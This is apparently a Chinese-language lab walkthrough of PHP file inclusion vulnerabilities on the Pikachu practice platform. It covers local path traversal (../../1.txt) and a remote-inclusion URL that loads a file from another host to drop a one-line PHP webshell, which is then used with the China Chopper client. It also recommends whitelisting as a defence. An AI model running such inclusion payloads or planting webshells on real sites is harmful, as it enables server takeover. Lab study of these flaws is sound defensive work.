一、概述
文件包含,是一個功能。在各種開發語言中都提供了內置的文件包含函數,其可以使開發人員在一個代碼文件中直接包含(引入)另外一個代碼文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
這些文件包含函數,這些函數在代碼設計中被經常使用到。
大多數情況下,文件包含函數中包含的代碼文件是固定的,因此也不會出現安全問題。 但是,有些時候,文件包含的代碼文件被寫成了一個變量,且這個變量可以由前端用戶傳進來,這種情況下,如果沒有做足夠的安全考慮,則可能會引發文件包含漏洞。 攻擊着會指定一個“意想不到”的文件讓包含函數去執行,從而造成惡意操作。 根據不同的配置環境,文件包含漏洞分為如下兩種情況:
1.本地文件包含漏洞:
僅能夠對服務器本地的文件進行包含,由於服務器上的文件並不是攻擊者所能夠控制的,因此該情況下,攻擊着更多的會包含一些 固定的系統配置文件,從而讀取系統敏感信息。很多時候本地文件包含漏洞會結合一些特殊的文件上傳漏洞,從而形成更大的威力。
2.遠程文件包含漏洞:
能夠通過url地址對遠程的文件進行包含,這意味着攻擊者可以傳入任意的代碼,這種情況沒啥好說的,准備掛彩。
因此,在web應用系統的功能設計上盡量不要讓前端用戶直接傳變量給包含函數,如果非要這么做,也一定要做嚴格的白名單策略進行過濾。
二、File Inclusion(local)
①在我們隨意的選擇之后,在url中發現了一個文件名
②有明顯包含文件的信息,我們嘗試將file1.php更換為其他文件信息,我在上上級目錄創建了一個1.txt內容為you are good
更改為 ../../1.txt
三、File Inclusion(remote)
遠程文件包含漏洞形式跟本地文件包含漏洞差不多,在遠程包含漏洞中,攻擊者可以通過訪問外部地址來加載遠程的代碼。
遠程包含漏洞前提:如果使用 includer 和 require ,則需要 php.ini 配置如下:
allow_url_fopen = on //默認打開
allow_url_include = on //默認關閉
使用虛擬機訪問主機的yijuhua.txt,訪問成功
http://localhost/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://192.168.1.2/pikachu-master/test/yijuhua.txt&submit=æäº¤æ¥è¯¢
我們發現目錄下出現了yijuhua.php文件
然后我們就可以用中國菜刀進行連接了。